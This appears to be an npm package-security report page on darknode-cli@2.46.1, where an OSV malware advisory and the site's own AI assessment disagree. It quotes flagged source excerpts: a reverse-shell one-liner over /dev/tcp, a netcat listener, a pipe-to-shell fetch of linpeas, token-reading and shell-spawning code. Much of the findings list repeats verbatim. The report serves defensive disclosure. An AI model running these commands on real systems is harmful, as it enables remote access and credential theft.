Loading npm security reports…
darknode-cli@2.46.1: Malware – npm package blocked | LPM Firewall
Blocked by malware advisory
OpenSSF/OSV malware advisory MAL-2026-18195 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as clean; the assessments disagree.
OpenSSF/OSV Malicious Advisoryimported 4h ago · by OpenSSF/OSV OpenSSF/OSV advisory MAL-2026-18195 confirms this npm version as malicious.
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in darknode-cli (npm)
Details
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Independent LPM AI assessmentClean Independent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.
The reverse-shell examples are inert cheat-sheet strings, while the install hook only prints a hint and exits. The reviewed MCP configuration is trust-gated, Codex authentication handling returns metadata, and the updater refreshes this package; I found no concrete malicious behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Installation triggers the postinstall hint; launching Nexus triggers trusted-repository MCP loading and an update check.
Impact
No malicious effect was identified; the observed behaviors provide setup guidance, trusted-repository integrations, and package updates.
Mechanism
The install script prints guidance and exits. MCP settings are ignored unless the repository is trusted, and the updater targets this package itself.
AI rationale
The reverse-shell examples are inert cheat-sheet strings, while the install hook only prints a hint and exits. The reviewed MCP configuration is trust-gated, Codex authentication handling returns metadata, and the updater refreshes this package; I found no concrete malicious behavior.
Independent scan evidencepublic snapshot AI called this Clean at 91.0% confidence as Benign with low false-positive risk.
Evidence for AI clean decision
The manifest binds postinstall to a script that prints setup guidance and exits. Both CLI entrypoints refuse MCP configuration from untrusted repositories; trust is tied to the current repository path or an explicit environment opt-in. The Codex helper returns model and authentication-mode metadata; the diff helper reads a requested Git diff. Reverse-shell examples appear as strings in a cheat-sheet data object. Launching Nexus starts a throttled updater, and its default mode is auto-apply. The updater checks and reinstalls darknode-cli itself through npm. Evidence against
The package includes reverse-shell examples, but the inspected cheat-sheet file stores them as data. Nexus can automatically update on launch; the update path targets this package itself. Behavioral surface
Source ChildProcess Crypto DynamicRequire EnvironmentVars Filesystem Network Shell
Supply chain
Source & flagged code41 flagged · loading source • scripts.postinstall = node scripts/postinstall.js
High Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.json View on unpkg • scripts.postinstall = node scripts/postinstall.js
Medium Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.json View on unpkg 1068 const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com");
L1069: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a...
L1070: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ...
...
L1076: // ---- provider flows ----
L1077: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error && r.status === 0) { const t ...
L1078: async function g
Findings3 Critical 10 High 31 Medium 6 Low
Critical Command Output Exfiltration darknode-legacy.js
Critical Reverse Shell lib/toolkit/cheats.js
Critical Trigger Reachable Dangerous Capability darknode.js
High Install Time Lifecycle Scripts package.json
High High Secret darknode-legacy.js
High Child Process darknode-legacy.js
High Shell darknode-legacy.js
High Same File Env Network Execution darknode-legacy.js
High Sandbox Evasion Gated Capability darknode-legacy.js
High Trigger Reachable Command Output Exfiltration darknode.js
High Runtime Package Install darknode-legacy.js
High Semantic Analysis Limited
Affected versions and remediation This report applies to darknode-cli@2.46.1 .
See all versions of darknode-cli for other recorded verdicts.
Avoid installing darknode-cli@2.46.1. Remove it from direct dependencies and check your lockfile for transitive copies. Choose an independently verified alternative or release. This report does not establish that other versions are safe. If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. Evidence last updated: 2026-10-22 21:40:08.369Z (UTC) .
Source advisory published: 2026-10-22 20:23:01.000Z (UTC) .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced .
HighEntropyStrings Telemetry UrlStrings
scanned 127 file(s), 4.18 MB of source, external domains: 0.0.0.0, 0251.0376.0251.0376, 10.0.0.1, 10.10.10.5, 127.0.0.1, 169.254.169.254, 169.254.169.254.nip.io, 172.16.0.1, 172.16.42.1, 192.168.1.1, a.169.254.169.254.1time.your, academy.hackthebox.com, academy.tcm-sec.com, accounts.google.com, acs.amazonaws.com, allowed-domain.com, allowed.com, api.example.com, api.github.com, api.ipify.org, attack.mitre.org, attacker.com, bazaar.abuse.ch, book.hacktricks.xyz, botnet-tracker.securityscorecard.com, censys.io, certifications.tcm-sec.com, check.torproject.org, crt.sh, cryptohack.org, ctftime.org, cve.mitre.org, cyberdefenders.org, dns.google, evil.com, evil.target.com, eviltarget.com, example.com, exploit.education, falcosecurity.github.io, feodotracker.abuse.ch, fuzz.target.com, github.com, graph.microsoft.com, gtfobins.github.io, hashcat.net, hooks.slack.com, host.com, identitytoolkit.googleapis.com, ifconfig.me
Critical Command Output Exfiltration
Source executes local commands and sends command output to an external endpoint.
darknode-legacy.js View on unpkg · L1068 1063 patternName = google_api_key
severity = high
line = 1063
18 const https = require("https");
L19: const { execFile, spawn } = require("child_process");
L20: const crypto = require("crypto");
High Child Process
Package source references child process execution.
darknode-legacy.js View on unpkg · L18 476 console.log(" " + gray("first-time setup, this can take a few minutes...") + "\n " + gray(inst) + "\n");
L477: const p = spawn(process.platform === "win32" ? "cmd.exe" : "/bin/bash", process.platform === "win32" ? ["/c", inst] : ["-lc", inst], { stdio: "inherit" });
L478: p.on("close", (code) => { console.log("\n " + (code === 0 ? ok(t[0] + " is ready.") : red("setup exited with code " + code))); resolve(); });
4 // Refuse to run in engagement mode (DARKNODE_ENGAGEMENT) — use darknode.js.
L5: if (process.env.DARKNODE_ENGAGEMENT) { console.error("the legacy entry is ungated and cannot run in engagement mode; use darknode.js"); process.exit(1); }
L6: // Back-compat: this legacy entry reads SENTINEL_* env vars directly. Let DARKNODE_*
...
L14: */
L15: const net = require("net");
L16: const tls = require("tls");
...
L18: const https = require("https");
L19: const { execFile, spawn } = require("child_process");
L20: const crypto = require("crypto");
High Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
darknode-legacy.js View on unpkg · L4 4 // Refuse to run in engagement mode (DARKNODE_ENGAGEMENT) — use darknode.js.
L5: if (process.env.DARKNODE_ENGAGEMENT) { console.error("the legacy entry is ungated and cannot run in engagement mode; use darknode.js"); process.exit(1); }
L6: // Back-compat: this legacy entry reads SENTINEL_* env vars directly. Let DARKNODE_*
...
L14: */
L15: const net = require("net");
L16: const tls = require("tls");
...
L18: const https = require("https");
L19: const { execFile, spawn } = require("child_process");
L20: const crypto = require("crypto");
...
L22: const os = require("os");
L23: const dnsp = require("dns").promises;
L24: const VERSION = "2.45.0";
High Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
darknode-legacy.js View on unpkg · L4 769 const apply = !!(opts && opts.apply);
L770: const cp = require("child_process"), fs = require("fs"), path = require("path");
L771: const dir = __dirname;
L772: const run = (c, a) => cp.spawnSync(c, a, { cwd: dir, encoding: "utf8", timeout: 60000 });
L773: if (!fs.existsSync(path.join(dir, ".git"))) return "installed at " + dir + "\nnot a git checkout — update with: npm install -g darknode-cli@latest\n(or re-pull from wherever you c...
L774: if (!hasBin("git")) return "git not found — install git to self-update, or reinstall the CLI.";
High Runtime Package Install
Package source invokes a package manager install command at runtime.
darknode-legacy.js View on unpkg · L769 1063 patternName = google_api_key
severity = high
line = 1063
14 */
L15: const net = require("net");
L16: const tls = require("tls");
Medium Dynamic Require
Package source references dynamic require/import behavior.
darknode-legacy.js View on unpkg · L14 6 "nmap": ["nmap -sV -sC -oN scan.txt TARGET", "nmap -p- --min-rate 5000 -T4 TARGET", "nmap --script vuln TARGET"],
L7: "shells": ["bash -i >& /dev/tcp/IP/PORT 0>&1", "nc -lvnp 4444 # listener", "python3 -c 'import pty;pty.spawn(\"/bin/bash\")' # upgrade TTY"],
L8: "privesc": ["find / -perm -4000 -type f 2>/dev/null # SUID", "sudo -l", "cat /etc/crontab", "curl -L .../linpeas.sh | sh"],
L9: "transfer": ["python3 -m http.server 8000", "curl http://IP:8000/f -o f", "wget http://IP:8000/f"],
Critical Reverse Shell
Source matches reverse-shell style process and socket wiring.
lib/toolkit/cheats.js View on unpkg · L6 1193 Trigger-reachable chain: scripts.start -> darknode.js
L1193: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com");
L1194: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a...
L1195: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ...
...
L1201: // ---- provider flows ----
L1202: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error &&
Critical Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
darknode.js View on unpkg · L1193 1193 Trigger-reachable command-output exfiltration chain: scripts.start -> darknode.js
L1193: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com");
L1194: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a...
L1195: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ...
...
L1201: // ---- provider flows ----
L1202: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeo
High Trigger Reachable Command Output Exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
darknode.js View on unpkg · L1193 lib/nexus/code-diff-explain.js#virtual:normalized:round1 View file • stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 2
High Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
lib/nexus/code-diff-explain.js#virtual:normalized:round1 View on unpkg 212 patternName = generic_password
severity = medium
line = 212
393 patternName = generic_password
severity = medium
line = 393
Medium Secret Pattern
Hardcoded password in lib/nexus/git-security.js
lib/nexus/git-security.js View on unpkg · L393 1330 patternName = generic_password
severity = medium
line = 1330
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1330 1337 patternName = generic_password
severity = medium
line = 1337
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1337 1343 patternName = generic_password
severity = medium
line = 1343
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1343 1345 patternName = generic_password
severity = medium
line = 1345
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1345 1346 patternName = generic_password
severity = medium
line = 1346
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1346 1350 patternName = generic_password
severity = medium
line = 1350
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1350 1356 patternName = generic_password
severity = medium
line = 1356
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1356 1359 patternName = generic_password
severity = medium
line = 1359
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1359 1360 patternName = generic_password
severity = medium
line = 1360
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1360 1368 patternName = generic_password
severity = medium
line = 1368
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1368 1374 patternName = generic_password
severity = medium
line = 1374
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1374 1375 patternName = generic_password
severity = medium
line = 1375
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1375 1380 patternName = generic_password
severity = medium
line = 1380
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1380 1381 patternName = generic_password
severity = medium
line = 1381
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1381 1387 patternName = generic_password
severity = medium
line = 1387
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1387 1391 patternName = generic_password
severity = medium
line = 1391
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1391 1393 patternName = generic_password
severity = medium
line = 1393
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1393 1398 patternName = generic_password
severity = medium
line = 1398
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1398 1399 patternName = generic_password
severity = medium
line = 1399
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1399 1400 patternName = generic_password
severity = medium
line = 1400
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1400 1415 patternName = generic_password
severity = medium
line = 1415
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1415 1416 patternName = generic_password
severity = medium
line = 1416
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1416 1419 patternName = generic_password
severity = medium
line = 1419
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1419 1420 patternName = generic_password
severity = medium
line = 1420
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1420 lib/nexus/code-diff-explain.js#virtual:normalized:round1
High Secret Pattern darknode-legacy.js
Medium Ambiguous Install Lifecycle Script package.json
Medium Dynamic Require darknode-legacy.js
Medium Structural Risk Force Deep Review
Medium Secret Pattern test/run.js
Medium Secret Pattern lib/nexus/git-security.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Medium Secret Pattern lib/nexus/security-kb.js
Source & flagged code41 flagged • scripts.postinstall = node scripts/postinstall.js
High Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.json View on unpkg • scripts.postinstall = node scripts/postinstall.js
Medium Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.json View on unpkg 1068 const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com");
L1069: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a...
L1070: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ...
...
L1076: // ---- provider flows ----
L1077: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error && r.status === 0) { const t ...
L1078: async function g
Critical Command Output Exfiltration
Source executes local commands and sends command output to an external endpoint.
darknode-legacy.js View on unpkg · L1068 1063 patternName = google_api_key
severity = high
line = 1063
18 const https = require("https");
L19: const { execFile, spawn } = require("child_process");
L20: const crypto = require("crypto");
High Child Process
Package source references child process execution.
darknode-legacy.js View on unpkg · L18 476 console.log(" " + gray("first-time setup, this can take a few minutes...") + "\n " + gray(inst) + "\n");
L477: const p = spawn(process.platform === "win32" ? "cmd.exe" : "/bin/bash", process.platform === "win32" ? ["/c", inst] : ["-lc", inst], { stdio: "inherit" });
L478: p.on("close", (code) => { console.log("\n " + (code === 0 ? ok(t[0] + " is ready.") : red("setup exited with code " + code))); resolve(); });
4 // Refuse to run in engagement mode (DARKNODE_ENGAGEMENT) — use darknode.js.
L5: if (process.env.DARKNODE_ENGAGEMENT) { console.error("the legacy entry is ungated and cannot run in engagement mode; use darknode.js"); process.exit(1); }
L6: // Back-compat: this legacy entry reads SENTINEL_* env vars directly. Let DARKNODE_*
...
L14: */
L15: const net = require("net");
L16: const tls = require("tls");
...
L18: const https = require("https");
L19: const { execFile, spawn } = require("child_process");
L20: const crypto = require("crypto");
High Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
darknode-legacy.js View on unpkg · L4 4 // Refuse to run in engagement mode (DARKNODE_ENGAGEMENT) — use darknode.js.
L5: if (process.env.DARKNODE_ENGAGEMENT) { console.error("the legacy entry is ungated and cannot run in engagement mode; use darknode.js"); process.exit(1); }
L6: // Back-compat: this legacy entry reads SENTINEL_* env vars directly. Let DARKNODE_*
...
L14: */
L15: const net = require("net");
L16: const tls = require("tls");
...
L18: const https = require("https");
L19: const { execFile, spawn } = require("child_process");
L20: const crypto = require("crypto");
...
L22: const os = require("os");
L23: const dnsp = require("dns").promises;
L24: const VERSION = "2.45.0";
High Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
darknode-legacy.js View on unpkg · L4 769 const apply = !!(opts && opts.apply);
L770: const cp = require("child_process"), fs = require("fs"), path = require("path");
L771: const dir = __dirname;
L772: const run = (c, a) => cp.spawnSync(c, a, { cwd: dir, encoding: "utf8", timeout: 60000 });
L773: if (!fs.existsSync(path.join(dir, ".git"))) return "installed at " + dir + "\nnot a git checkout — update with: npm install -g darknode-cli@latest\n(or re-pull from wherever you c...
L774: if (!hasBin("git")) return "git not found — install git to self-update, or reinstall the CLI.";
High Runtime Package Install
Package source invokes a package manager install command at runtime.
darknode-legacy.js View on unpkg · L769 1063 patternName = google_api_key
severity = high
line = 1063
14 */
L15: const net = require("net");
L16: const tls = require("tls");
Medium Dynamic Require
Package source references dynamic require/import behavior.
darknode-legacy.js View on unpkg · L14 6 "nmap": ["nmap -sV -sC -oN scan.txt TARGET", "nmap -p- --min-rate 5000 -T4 TARGET", "nmap --script vuln TARGET"],
L7: "shells": ["bash -i >& /dev/tcp/IP/PORT 0>&1", "nc -lvnp 4444 # listener", "python3 -c 'import pty;pty.spawn(\"/bin/bash\")' # upgrade TTY"],
L8: "privesc": ["find / -perm -4000 -type f 2>/dev/null # SUID", "sudo -l", "cat /etc/crontab", "curl -L .../linpeas.sh | sh"],
L9: "transfer": ["python3 -m http.server 8000", "curl http://IP:8000/f -o f", "wget http://IP:8000/f"],
Critical Reverse Shell
Source matches reverse-shell style process and socket wiring.
lib/toolkit/cheats.js View on unpkg · L6 1193 Trigger-reachable chain: scripts.start -> darknode.js
L1193: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com");
L1194: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a...
L1195: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ...
...
L1201: // ---- provider flows ----
L1202: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error &&
Critical Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
darknode.js View on unpkg · L1193 1193 Trigger-reachable command-output exfiltration chain: scripts.start -> darknode.js
L1193: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com");
L1194: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a...
L1195: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ...
...
L1201: // ---- provider flows ----
L1202: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeo
High Trigger Reachable Command Output Exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
darknode.js View on unpkg · L1193 lib/nexus/code-diff-explain.js#virtual:normalized:round1 View file • stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 2
High Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
lib/nexus/code-diff-explain.js#virtual:normalized:round1 View on unpkg 212 patternName = generic_password
severity = medium
line = 212
393 patternName = generic_password
severity = medium
line = 393
Medium Secret Pattern
Hardcoded password in lib/nexus/git-security.js
lib/nexus/git-security.js View on unpkg · L393 1330 patternName = generic_password
severity = medium
line = 1330
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1330 1337 patternName = generic_password
severity = medium
line = 1337
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1337 1343 patternName = generic_password
severity = medium
line = 1343
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1343 1345 patternName = generic_password
severity = medium
line = 1345
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1345 1346
patternName = generic_password
severity = medium
line = 1346
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1346 1350 patternName = generic_password
severity = medium
line = 1350
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1350 1356 patternName = generic_password
severity = medium
line = 1356
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1356 1359 patternName = generic_password
severity = medium
line = 1359
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1359 1360 patternName = generic_password
severity = medium
line = 1360
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1360 1368 patternName = generic_password
severity = medium
line = 1368
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1368 1374 patternName = generic_password
severity = medium
line = 1374
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1374 1375 patternName = generic_password
severity = medium
line = 1375
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1375 1380 patternName = generic_password
severity = medium
line = 1380
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1380 1381 patternName = generic_password
severity = medium
line = 1381
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1381 1387 patternName = generic_password
severity = medium
line = 1387
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1387 1391 patternName = generic_password
severity = medium
line = 1391
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1391 1393 patternName = generic_password
severity = medium
line = 1393
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1393 1398 patternName = generic_password
severity = medium
line = 1398
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1398 1399 patternName = generic_password
severity = medium
line = 1399
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1399 1400 patternName = generic_password
severity = medium
line = 1400
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1400 1415 patternName = generic_password
severity = medium
line = 1415
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1415 1416 patternName = generic_password
severity = medium
line = 1416
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1416 1419 patternName = generic_password
severity = medium
line = 1419
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1419 1420 patternName = generic_password
severity = medium
line = 1420
Medium Secret Pattern
Hardcoded password in lib/nexus/security-kb.js
lib/nexus/security-kb.js View on unpkg · L1420